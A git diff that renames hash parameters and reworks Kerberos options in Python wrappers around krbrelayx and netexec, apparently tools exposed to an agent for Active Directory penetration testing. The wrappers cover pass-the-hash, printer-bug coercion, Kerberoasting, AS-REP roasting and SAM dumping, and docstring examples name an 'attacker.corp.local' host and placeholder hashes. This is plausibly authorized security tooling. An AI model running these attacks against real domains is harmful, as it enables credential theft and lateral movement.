If no command given, send exit to prevent interactive shell hang diff --git a/capabilities/network-ops/tools/krbrelayx.py b/capabilities/network-ops/tools/krbrelayx.py index 511b8fe..a2157ae 100644 --- a/capabilities/network-ops/tools/krbrelayx.py +++ b/capabilities/network-ops/tools/krbrelayx.py @@ -52,7 +52,7 @@ async def krbrelayx_add_spn( additional: bool = False, clear: bool = False, target_type: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, no_pass: bool = False, kerberos: bool = False, debug: bool = False, @@ -153,7 +153,7 @@ async def krbrelayx_add_spn( additional: Add the SPN as an additional value (do not remove existing SPNs). clear: Remove all SPNs from the target account. target_type: Type of target specified - 'samname' or 'dn' (default: samname). - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. no_pass: Don't ask for password (useful for Kerberos). kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). debug: Enable debug output. @@ -194,8 +194,8 @@ async def krbrelayx_add_spn( if target_type: args.extend(["--target-type", target_type]) - if hashes: - args.extend(["-hashes", hashes]) + if nt_hash: + args.extend(["-hashes", nt_hash]) if no_pass: args.append("--no-pass") @@ -229,7 +229,7 @@ async def krbrelayx_dns_tool( legacy: bool = False, forest: bool = False, zone: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, no_pass: bool = False, kerberos: bool = False, debug: bool = False, @@ -326,7 +326,7 @@ async def krbrelayx_dns_tool( legacy: Use legacy DNS storage (for Windows 2000/2003). forest: Modify DNS in forest DNS zone. zone: Target DNS zone. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. no_pass: Don't ask for password (useful for Kerberos). kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). debug: Enable debug output. @@ -363,8 +363,8 @@ async def krbrelayx_dns_tool( if zone: args.extend(["--zone", zone]) - if hashes: - args.extend(["-hashes", hashes]) + if nt_hash: + args.extend(["-hashes", nt_hash]) if no_pass: args.append("--no-pass") @@ -519,7 +519,7 @@ async def krbrelayx_printer_bug( username: str | None = None, password: str | None = None, domain: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, port: int | None = None, debug: bool = False, env: dict[str, str] | None = None, @@ -549,7 +549,7 @@ async def krbrelayx_printer_bug( attacker="attacker.corp.local", username="admin", domain="CORP", - hashes="aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + nt_hash="aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" ) # Trigger printer bug with custom port @@ -589,7 +589,7 @@ async def krbrelayx_printer_bug( username: Username for authentication. password: Password for authentication. domain: Domain for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. port: Target port (default: 445). debug: Enable debug output. env: Optional environment variables. @@ -607,8 +607,8 @@ async def krbrelayx_printer_bug( if domain: args.extend(["-d", domain]) - if hashes: - args.extend(["-hashes", hashes]) + if nt_hash: + args.extend(["-hashes", nt_hash]) if port is not None: args.extend(["--port", str(port)]) diff --git a/capabilities/network-ops/tools/netexec.py b/capabilities/network-ops/tools/netexec.py index 56a6b8b..adb79e8 100644 --- a/capabilities/network-ops/tools/netexec.py +++ b/capabilities/network-ops/tools/netexec.py @@ -37,8 +37,10 @@ async def netexec( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, local_auth: bool = False, ) -> str: """ @@ -53,8 +55,11 @@ async def netexec( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. local_auth: Use local authentication (`--local-auth`). Mutually exclusive with `domain`. """ # Fix netexec first-run setup issue if .nxc exists as a file instead of directory @@ -74,16 +79,21 @@ async def netexec( cmd.extend(["-u", *(username if isinstance(username, list) else [username])]) if _emit_auth_flag(password): cmd.extend(["-p", *(password if isinstance(password, list) else [password])]) - if hash: - cmd.extend(["-H", *(hash if isinstance(hash, list) else [hash])]) + if nt_hash: + cmd.extend(["-H", *(nt_hash if isinstance(nt_hash, list) else [nt_hash])]) + + if aes_key and ccache: + raise ValueError( + "Pass only one of aes_key or ccache for Kerberos authentication, not both." + ) env: dict[str, str] | None = None - if kerberos: - cmd.extend(["-k"]) - if len(kerberos) == 32 or len(kerberos) == 64: # AES key - cmd.extend(["--aesKey", kerberos]) - else: - env = {"KRB5CCNAME": kerberos} + if kerberos or aes_key or ccache: + cmd.append("-k") + if aes_key: + cmd.extend(["--aesKey", aes_key]) + elif ccache: + env = {"KRB5CCNAME": ccache} cmd.append("--use-kcache") cmd.extend(args) @@ -101,8 +111,10 @@ async def netexec_smb_enum( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, local_auth: bool = False, ) -> str: """ @@ -113,8 +125,11 @@ async def netexec_smb_enum( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. local_auth: Use local authentication (`--local-auth`). Mutually exclusive with `domain`. """ return await self.netexec( @@ -124,8 +139,10 @@ async def netexec_smb_enum( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, local_auth=local_auth, ) @@ -137,8 +154,10 @@ async def netexec_smb_auth( *, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, local_auth: bool = False, ) -> str: """ @@ -151,8 +170,11 @@ async def netexec_smb_auth( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. local_auth: Use local authentication (`--local-auth`). Mutually exclusive with `domain`. """ return await self.netexec( @@ -162,8 +184,10 @@ async def netexec_smb_auth( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, local_auth=local_auth, ) @@ -176,8 +200,10 @@ async def netexec_smb_enum_group_members( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, local_auth: bool = False, ) -> str: """ @@ -189,8 +215,11 @@ async def netexec_smb_enum_group_members( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. local_auth: Use local authentication (`--local-auth`). Mutually exclusive with `domain`. """ # netexec --groups only accepts one group at a time, so we loop @@ -205,8 +234,10 @@ async def netexec_smb_enum_group_members( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, local_auth=local_auth, ) results.append(output) @@ -223,8 +254,10 @@ async def netexec_smb_enum_shares( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, local_auth: bool = False, ) -> str: """ @@ -235,8 +268,11 @@ async def netexec_smb_enum_shares( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. local_auth: Use local authentication (`--local-auth`). Mutually exclusive with `domain`. """ return await self.netexec( @@ -246,8 +282,10 @@ async def netexec_smb_enum_shares( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, local_auth=local_auth, ) @@ -259,8 +297,10 @@ async def netexec_ldap_enum( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, ) -> str: """ Enumerates domain computers, users, groups, domain controllers, and trusts via LDAP using netexec. @@ -270,8 +310,11 @@ async def netexec_ldap_enum( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. """ return await self.netexec( "ldap", @@ -280,8 +323,10 @@ async def netexec_ldap_enum( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, ) @tool_method(catch=True, variants=["specialized", "all"]) @@ -292,8 +337,10 @@ async def netexec_ldap_auth( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, ) -> str: """ Authenticate via LDAP to one or more domain controllers using netexec to verify credentials. @@ -303,8 +350,11 @@ async def netexec_ldap_auth( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. """ return await self.netexec( "ldap", @@ -313,8 +363,10 @@ async def netexec_ldap_auth( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, ) @tool_method(catch=True, variants=["specialized", "all"]) @@ -326,8 +378,10 @@ async def netexec_ldap_enum_group_members( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, ) -> str: """ Enumerates domain group members. @@ -338,8 +392,11 @@ async def netexec_ldap_enum_group_members( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. """ # netexec --groups only accepts one group at a time, so we loop # and join results when multiple groups are requested. @@ -353,8 +410,10 @@ async def netexec_ldap_enum_group_members( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, ) results.append(output) except Exception: @@ -370,7 +429,7 @@ async def netexec_asreproast( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | None = None, + nt_hash: str | None = None, ) -> str: """ Performs an AS-REP roasting attack against a domain controller. @@ -383,7 +442,7 @@ async def netexec_asreproast( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. """ _, output_path = tempfile.mkstemp(suffix="_asreproast.txt") output = await self.netexec( @@ -393,7 +452,7 @@ async def netexec_asreproast( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, ) if "$krb5asrep$" in output: output += f"\n\n[+] AS-REP roast hashes saved to {output_path}" @@ -407,7 +466,7 @@ async def netexec_kerberoast( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, + nt_hash: str | list[str] | None = None, ) -> str: """ Performs a Kerberoasting attack against one or more Domain Controllers. @@ -417,7 +476,7 @@ async def netexec_kerberoast( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. """ _, output_path = tempfile.mkstemp(suffix="_kerberoast.txt") output = await self.netexec( @@ -427,7 +486,7 @@ async def netexec_kerberoast( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, ) if "$krb5tgs$" in output: output += f"\n\n[+] Kerberoast hashes saved to {output_path}" @@ -444,8 +503,10 @@ async def netexec_smb( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, local_auth: bool = False, ) -> str: """ @@ -474,7 +535,7 @@ async def netexec_smb( targets=["dc01.corp.local"], args=["--sam"], username="administrator", - hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + nt_hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" ) @@ -766,8 +827,11 @@ async def netexec_smb( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. local_auth: Use local authentication (`--local-auth`). Mutually exclusive with `domain`. """ if args is None: @@ -779,8 +843,10 @@ async def netexec_smb( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, local_auth=local_auth, ) @@ -793,8 +859,10 @@ async def netexec_ldap( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, ) -> str: """ Execute a netexec LDAP protocol command. @@ -823,7 +891,7 @@ async def netexec_ldap( targets=["192.168.1.5"], args=["--gmsa"], username="administrator", - hash="aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash="aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="corp.local" ) @@ -992,8 +1060,11 @@ async def netexec_ldap( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. """ if args is None: args = [] @@ -1004,8 +1075,10 @@ async def netexec_ldap( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, ) @tool_method(catch=True, variants=["generic", "all"]) @@ -1017,8 +1090,10 @@ async def netexec_mssql( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, local_auth: bool = False, ) -> str: """ @@ -1202,8 +1277,11 @@ async def netexec_mssql( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. local_auth: Use local authentication (`--local-auth`). Mutually exclusive with `domain`. """ if args is None: @@ -1215,8 +1293,10 @@ async def netexec_mssql( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, local_auth=local_auth, ) @@ -1229,8 +1309,10 @@ async def netexec_wmi( username: str | list[str] | None = None, password: str | list[str] | None = None, domain: str | None = None, - hash: str | list[str] | None = None, - kerberos: str | None = None, + nt_hash: str | list[str] | None = None, + kerberos: bool = False, + aes_key: str | None = None, + ccache: str | None = None, local_auth: bool = False, ) -> str: r""" @@ -1396,8 +1478,11 @@ async def netexec_wmi( username: Username, list of usernames, or a path to a user file. Pass "" to emit `-u ''` (pair with password="" for an anonymous null session). password: Password, list of passwords, or a path to a password file. Pass "" to emit `-p ''` (pair with username="" for an anonymous null session). domain: Domain for authentication. - hash: A single NTLM hash, a list of hashes, or a path to a hash file. - kerberos: Kerberos ccache file path or AES key for authentication. + nt_hash: A single NTLM hash, a list of hashes, or a path to a hash file. + kerberos: Use Kerberos authentication (``-k``). Use alone with a password or an + existing ticket, or combine with ``aes_key`` or ``ccache``. + aes_key: AES key (hex, 128/256-bit) for Kerberos authentication. Maps to ``--aesKey``. + ccache: Path to a Kerberos credential cache. Sets ``KRB5CCNAME`` and uses ``--use-kcache``. local_auth: Use local authentication (`--local-auth`). Mutually exclusive with `domain`. """ if args is None: @@ -1409,7 +1494,9 @@ async def netexec_wmi( username=username, password=password, domain=domain, - hash=hash, + nt_hash=nt_hash, kerberos=kerberos, + aes_key=aes_key, + ccache=ccache, local_auth=local_auth, )